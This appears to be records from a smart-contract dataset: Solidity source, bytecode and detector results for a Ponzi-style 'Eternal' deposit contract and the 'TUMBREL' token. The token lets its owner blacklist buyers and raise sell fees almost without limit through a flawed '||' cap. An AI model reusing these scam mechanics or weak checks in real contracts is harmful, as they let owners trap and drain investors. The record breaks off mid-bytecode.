uint cashback = msg.value / 100;
if (msg.sender.send(cashback)) {
emit refPayout(msg.sender, cashback, referrer);
}
}
}
} else {
// If data is empty:
user.referrer = defaultReferrer;
}
emit NewInvestor(msg.sender, msg.value, referrer);
} else {
// Dividents payment for an investor
payDividends();
}
// 2% from a referral deposit transfer to a referrer
uint payReferrer = msg.value * 2 / 100;
if (user.referrer == defaultReferrer) {
user.referrer.transfer(payReferrer);
} else {
investors[referrer].deposit += payReferrer;
}
user.depositCount++;
user.deposit += msg.value;
user.block = block.number;
totalDepositAmount += msg.value;
emit NewDeposit(msg.sender, msg.value);
}
function() external payable {
if(pause) {
if (restartBlock <= block.number) { restart(); }
require(!pause, "Eternal is restarting, wait for the block in restartBlock");
} else {
if (msg.value == 0) {
payDividends();
return;
}
require(msg.value >= MINIMUM_INVEST, "Too small amount, minimum 0.01 ether");
createDeposit();
}
}
function getBankPercent() public view returns(uint){
uint contractBalance = address(this).balance;
uint totalBank1 = bank1;
uint totalBank2 = bank2;
uint totalBank3 = bank3;
uint totalBank4 = bank4;
uint totalBank5 = bank5;
if(contractBalance < totalBank1){
return(0); // If bank lower than 500, whole procent doesnt add
}
if(contractBalance >= totalBank1 && contractBalance < totalBank2){
return(10); // If bank amount more than or equal to 500 ETH, whole procent add 0.10%
}
if(contractBalance >= totalBank2 && contractBalance < totalBank3){
return(20); // If bank amount more than or equal to 1500 ETH, whole procent add 0.10%
}
if(contractBalance >= totalBank3 && contractBalance < totalBank4){
return(30); // If bank amount more than or equal to 2500 ETH, whole procent add 0.10%
}
if(contractBalance >= totalBank4 && contractBalance < totalBank5){
return(45); // If bank amount more than or equal to 7000 ETH, whole procent add 0.15%
}
if(contractBalance >= totalBank5){
return(65); // If bank amount more than or equal to 15000 ETH, whole procent add 0.20%
}
}
function getIndividualPercent() public view returns(uint){
uint userBalance = investors[msg.sender].deposit;
uint totalDeposit1 = dep1;
uint totalDeposit2 = dep2;
uint totalDeposit3 = dep3;
uint totalDeposit4 = dep4;
uint totalDeposit5 = dep5;
if(userBalance < totalDeposit1){
return(315); // 3.15% by default, investor deposit lower than 1 ETH
}
if(userBalance >= totalDeposit1 && userBalance < totalDeposit2){
return(325); // 3.25% Your Deposit more than or equal to 1 ETH
}
if(userBalance >= totalDeposit2 && userBalance < totalDeposit3){
return(345); // 3.45% Your Deposit more than or equal to 4 ETH
}
if(userBalance >= totalDeposit3 && userBalance < totalDeposit4){
return(360); // 3.60% Your Deposit more than or equal to 12 ETH
}
if(userBalance >= totalDeposit4 && userBalance < totalDeposit5){
return(385); // 3.85% Your Deposit more than or equal to 50 ETH
}
if(userBalance >= totalDeposit5){
return(415); // 4.15% Your Deposit more than or equal to 200 ETH
}
}
function getInvestorCount() public view returns (uint) {
return addresses.length - 1;
}
function bytesToAddress(bytes bys) private pure returns (address addr) {
assembly {
addr := mload(add(bys, 20))
}
}
}
|
0x6080604052600436106100a35763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663146ca53181146102105780633d4cfa6b14610237578063466a34431461024c5780636f7bc9be146102615780637d19ba23146102b65780638456cb59146102cb578063960524e3146102f4578063c5408d5014610309578063d77d00121461031e578063edf26d9b14610333575b60055460ff161561015c5760065443106100bf576100bf610367565b60055460ff161561015757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603960248201527f457465726e616c2069732072657374617274696e672c207761697420666f722060448201527f74686520626c6f636b20696e2072657374617274426c6f636b00000000000000606482015290519081900360840190fd5b61020e565b34151561016b5761015761047a565b662386f26fc1000034101561020657604080517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201526024808201527f546f6f20736d616c6c20616d6f756e742c206d696e696d756d20302e3031206560448201527f7468657200000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b61020e6105e3565b005b34801561021c57600080fd5b50610225610906565b60408051918252519081900360200190f35b34801561024357600080fd5b5061022561090c565b34801561025857600080fd5b50610225610917565b34801561026d57600080fd5b50610282600160a060020a03600435166109d9565b604080519586526020860194909452848401929092526060840152600160a060020a03166080830152519081900360a00190f35b3480156102c257600080fd5b50610225610a11565b3480156102d757600080fd5b506102e0610a17565b604080519115158252519081900360200190f35b34801561030057600080fd5b50610225610a20565b34801561031557600080fd5b50610225610a2b565b34801561032a57600080fd5b50610225610a31565b34801561033f57600080fd5b5061034b600435610ae1565b60408051600160a060020a039092168252519081900360200190f35b600154600090600019015b600081111561041057600180548290811061038957fe5b60009182526020909120015460018054600160a060020a039092169350600019909101906103b79082610b6c565b50600160a060020a038216600090815260208190526040812081815560018101829055600281018290556003810191909155600401805473ffffffffffffffffffffffffffffffffffffffff1916905560001901610372565b600354604080519182524360208301523382820152346060830152517f66a2263e9309e859994900b6ba9f464030063253fab6b5ddc8db9538c37e7b6b9181900360800190a16005805460ff1916905560038054600101905560006004556104766105e3565b5050565b336000908152602081905260408120548190819081106104fb57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f496e766573746f72206e6f7420666f756e642e00000000000000000000000000604482015290519081900360640190fd5b61050433610b09565b92503031831115610529576005805460ff1916600117905561177043016006556105de565b505060405160646005830204908183039073d9be11e7412584368546b1cae64b6c384ae85ebb906108fc8415029084906000818181858888f19350505050158015610578573d6000803e3d6000fd5b50604051339082156108fc029083906000818181858888f193505050501580156105a6573d6000803e3d6000fd5b5060408051848152905133917f38b3cd63b7181dfb8515c2b900548258df82fee21db5246ce3818c0efdf51685919081900360200190a25b505050565b33600090815260208190526040812080549091908190819015156108115760405133906108fc9060009081818181818888f1935050505015801561062b573d6000803e3d6000fd5b50600180548082018083556000929092527fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf601805473ffffffffffffffffffffffffffffffffffffffff19163317905584553615610798576106bd6000368080601f01602080910402602001604051908101604052809392919081815260200183838082843750610b65945050505050565b600160a060020a0381166000908152602081905260408120549194501080156106ef5750600160a060020a0383163314155b156107935760048401805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a038516179055600284015415156107935760405160643404925033906108fc8415029084906000818181858888f19350505050156107935760408051838152600160a060020a0385166020820152815133927f9aa90874178e269a71a0dffef5881c345119f7aecdaa0a0f214bca583472da31928290030190a25b6107ca565b60025460048501805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039092169190911790555b60408051348152600160a060020a0385166020820152815133927f457ba32ceae43c5149268b8fdc90d253ae023e63a9be85f24b8c994f2c46057f928290030190a2610819565b61081961047a565b6064600234026002546004870154929091049250600160a060020a0391821691161415610882576004840154604051600160a060020a039091169082156108fc029083906000818181858888f1935050505015801561087c573d6000803e3d6000fd5b506108a4565b600160a060020a03831660009081526020819052604090206001018054820190555b600284018054600190810190915584018054349081019091554360038601556004805482019055604080519182525133917f2cb77763bc1e8490c1a904905c4d74b4269919aca114464f4bb4d911e60de364919081900360200190a250505050565b60035481565b662386f26fc1000081565b33600090815260208190526040812060010154600d54600e54600f546010546011548486101561094b5761013b96506109d0565b84861015801561095a57508386105b156109695761014596506109d0565b83861015801561097857508286105b156109875761015996506109d0565b82861015801561099657508186105b156109a55761016896506109d0565b8186101580156109b457508086105b156109c35761018196506109d0565b8086106109d05761019f96505b50505050505090565b6000602081905290815260409020805460018201546002830154600384015460049094015492939192909190600160a060020a031685565b60065481565b60055460ff1681565b600154600019015b90565b60045481565b600854600954600a54600b54600c5460009430319490939092909184861015610a5d57600096506109d0565b848610158015610a6c57508386105b15610a7a57600a96506109d0565b838610158015610a8957508286105b15610a9757601496506109d0565b828610158015610aa657508186105b15610ab457601e96506109d0565b818610158015610ac357508086105b15610ad157602d96506109d0565b8086106109d057604196506109d0565b6001805482908110610aef57fe5b600091825260209091200154600160a060020a0316905081565b6000806000610b16610a31565b610b1e610917565b600160a060020a0386166000908152602081905260409020600381015460019091015492909101935061177091606490850204439190910302606491900404949350505050565b6014015190565b8154818355818111156105de576000838152602090206105de918101908301610a2891905b80821115610ba55760008155600101610b91565b50905600a165627a7a7230582068839e4c81def8a68ce9eed1f69fbcecb3c63d44ee162ee3e146f7b880e52efe0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 9,207 |
0x7caf1c19b3ffd8fae81da94b0c1a03612b60e45f
|
/**
*Submitted for verification at Etherscan.io on 2022-04-11
*/
/**
*Submitted for verification at Etherscan.io on 2022-01-15
*/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract TUMBREL is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "TUMBREL";//
string private constant _symbol = "$TUMBREL";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 8;//
uint256 private _taxFeeOnBuy = 5;//
//Sell Fee
uint256 private _redisFeeOnSell = 5;//
uint256 private _taxFeeOnSell = 8;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x766C1EB7AA2b229ceA0A0336Be6bc1BabbF7530C);//
address payable private _marketingAddress = payable(0x766C1EB7AA2b229ceA0A0336Be6bc1BabbF7530C);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 80000 * 10**9; //
uint256 public _maxWalletSize = 160000 * 10**9; //
uint256 public _swapTokensAtAmount = 10000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
if (!_isExcludedFromFee[_msgSender()]) _approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
uint256 feeRatio = _taxFeeOnBuy.div(_taxFeeOnSell);
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading() public onlyOwner {
tradingOpen = true;
launchBlock = block.number;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function BlockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function SellTax(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
uint256 totalSellFee = redisFeeOnSell + taxFeeOnSell;
uint256 totalBuyFee = redisFeeOnBuy + taxFeeOnBuy;
require(totalSellFee <= 20 || totalBuyFee <= 20, "Fees must be under 100%");
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
require(maxTxAmount >= _tTotal / 1000, "Cannot set maxTxAmount lower than 0.1%");
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
require(maxWalletSize >= _tTotal / 1000, "Cannot set maxWalletSize lower than 0.1%");
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d15760003560e01c80637c519ffb116100f7578063bfd7928411610095578063dc415eac11610064578063dc415eac14610534578063dd62ed3e14610554578063ea1644d51461059a578063f2fde38b146105ba57600080fd5b8063bfd79284146104b9578063c3c8cd80146104e9578063c492f046146104fe578063d00efb2f1461051e57600080fd5b80638f9a55c0116100d15780638f9a55c01461043257806395d89b411461044857806398a5c31514610479578063a9059cbb1461049957600080fd5b80637c519ffb146103e95780637d1db4a5146103fe5780638da5cb5b1461041457600080fd5b806336b3cc571161016f5780636fc3eaec1161013e5780636fc3eaec1461037f57806370a0823114610394578063715018a6146103b457806374010ece146103c957600080fd5b806336b3cc57146102fd57806349bd5a5e1461031f5780636b9990531461033f5780636d8aa8f81461035f57600080fd5b806318160ddd116101ab57806318160ddd1461028757806323b872dd146102ab5780632fd689e3146102cb578063313ce567146102e157600080fd5b806306fdde03146101dd578063095ea7b31461021f5780631694505e1461024f57600080fd5b366101d857005b600080fd5b3480156101e957600080fd5b506040805180820190915260078152661515535094915360ca1b60208201525b6040516102169190611b46565b60405180910390f35b34801561022b57600080fd5b5061023f61023a366004611bc0565b6105da565b6040519015158152602001610216565b34801561025b57600080fd5b5060155461026f906001600160a01b031681565b6040516001600160a01b039091168152602001610216565b34801561029357600080fd5b50662386f26fc100005b604051908152602001610216565b3480156102b757600080fd5b5061023f6102c6366004611bec565b6105f1565b3480156102d757600080fd5b5061029d60195481565b3480156102ed57600080fd5b5060405160098152602001610216565b34801561030957600080fd5b5061031d610318366004611c43565b610671565b005b34801561032b57600080fd5b5060165461026f906001600160a01b031681565b34801561034b57600080fd5b5061031d61035a366004611d08565b610710565b34801561036b57600080fd5b5061031d61037a366004611d35565b61075b565b34801561038b57600080fd5b5061031d6107a3565b3480156103a057600080fd5b5061029d6103af366004611d08565b6107ee565b3480156103c057600080fd5b5061031d610810565b3480156103d557600080fd5b5061031d6103e4366004611d50565b610884565b3480156103f557600080fd5b5061031d610924565b34801561040a57600080fd5b5061029d60175481565b34801561042057600080fd5b506000546001600160a01b031661026f565b34801561043e57600080fd5b5061029d60185481565b34801561045457600080fd5b50604080518082019091526008815267091515535094915360c21b6020820152610209565b34801561048557600080fd5b5061031d610494366004611d50565b610967565b3480156104a557600080fd5b5061023f6104b4366004611bc0565b610996565b3480156104c557600080fd5b5061023f6104d4366004611d08565b60116020526000908152604090205460ff1681565b3480156104f557600080fd5b5061031d6109a3565b34801561050a57600080fd5b5061031d610519366004611d69565b6109f7565b34801561052a57600080fd5b5061029d60085481565b34801561054057600080fd5b5061031d61054f366004611ded565b610a98565b34801561056057600080fd5b5061029d61056f366004611e1f565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105a657600080fd5b5061031d6105b5366004611d50565b610b57565b3480156105c657600080fd5b5061031d6105d5366004611d08565b610bf9565b60006105e7338484610ce3565b5060015b92915050565b60006105fe848484610e07565b3360009081526005602052604090205460ff1661066757610667843361066285604051806060016040528060288152602001611fd3602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906113d5565b610ce3565b5060019392505050565b6000546001600160a01b031633146106a45760405162461bcd60e51b815260040161069b90611e58565b60405180910390fd5b60005b815181101561070c576001601160008484815181106106c8576106c8611e8d565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061070481611eb9565b9150506106a7565b5050565b6000546001600160a01b0316331461073a5760405162461bcd60e51b815260040161069b90611e58565b6001600160a01b03166000908152601160205260409020805460ff19169055565b6000546001600160a01b031633146107855760405162461bcd60e51b815260040161069b90611e58565b60168054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b031614806107d857506014546001600160a01b0316336001600160a01b0316145b6107e157600080fd5b476107eb8161140f565b50565b6001600160a01b0381166000908152600260205260408120546105eb90611494565b6000546001600160a01b0316331461083a5760405162461bcd60e51b815260040161069b90611e58565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108ae5760405162461bcd60e51b815260040161069b90611e58565b6108c16103e8662386f26fc10000611ed4565b81101561091f5760405162461bcd60e51b815260206004820152602660248201527f43616e6e6f7420736574206d61785478416d6f756e74206c6f776572207468616044820152656e20302e312560d01b606482015260840161069b565b601755565b6000546001600160a01b0316331461094e5760405162461bcd60e51b815260040161069b90611e58565b6016805460ff60a01b1916600160a01b17905543600855565b6000546001600160a01b031633146109915760405162461bcd60e51b815260040161069b90611e58565b601955565b60006105e7338484610e07565b6013546001600160a01b0316336001600160a01b031614806109d857506014546001600160a01b0316336001600160a01b0316145b6109e157600080fd5b60006109ec306107ee565b90506107eb81611518565b6000546001600160a01b03163314610a215760405162461bcd60e51b815260040161069b90611e58565b60005b82811015610a92578160056000868685818110610a4357610a43611e8d565b9050602002016020810190610a589190611d08565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a8a81611eb9565b915050610a24565b50505050565b6000546001600160a01b03163314610ac25760405162461bcd60e51b815260040161069b90611e58565b6009849055600b839055600a829055600c8190556000610ae28285611ef6565b90506000610af08487611ef6565b9050601482111580610b03575060148111155b610b4f5760405162461bcd60e51b815260206004820152601760248201527f46656573206d75737420626520756e6465722031303025000000000000000000604482015260640161069b565b505050505050565b6000546001600160a01b03163314610b815760405162461bcd60e51b815260040161069b90611e58565b610b946103e8662386f26fc10000611ed4565b811015610bf45760405162461bcd60e51b815260206004820152602860248201527f43616e6e6f7420736574206d617857616c6c657453697a65206c6f776572207460448201526768616e20302e312560c01b606482015260840161069b565b601855565b6000546001600160a01b03163314610c235760405162461bcd60e51b815260040161069b90611e58565b6001600160a01b038116610c885760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161069b565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d455760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161069b565b6001600160a01b038216610da65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161069b565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e6b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161069b565b6001600160a01b038216610ecd5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161069b565b60008111610f2f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161069b565b6000546001600160a01b03848116911614801590610f5b57506000546001600160a01b03838116911614155b156112b357601654600160a01b900460ff16610ff4576000546001600160a01b03848116911614610ff45760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161069b565b6017548111156110465760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161069b565b6001600160a01b03831660009081526011602052604090205460ff1615801561108857506001600160a01b03821660009081526011602052604090205460ff16155b6110e05760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161069b565b60085443111580156110ff57506016546001600160a01b038481169116145b801561111957506015546001600160a01b03838116911614155b801561112e57506001600160a01b0382163014155b15611157576001600160a01b0382166000908152601160205260409020805460ff191660011790555b6016546001600160a01b038381169116146111dc5760185481611179846107ee565b6111839190611ef6565b106111dc5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c6574207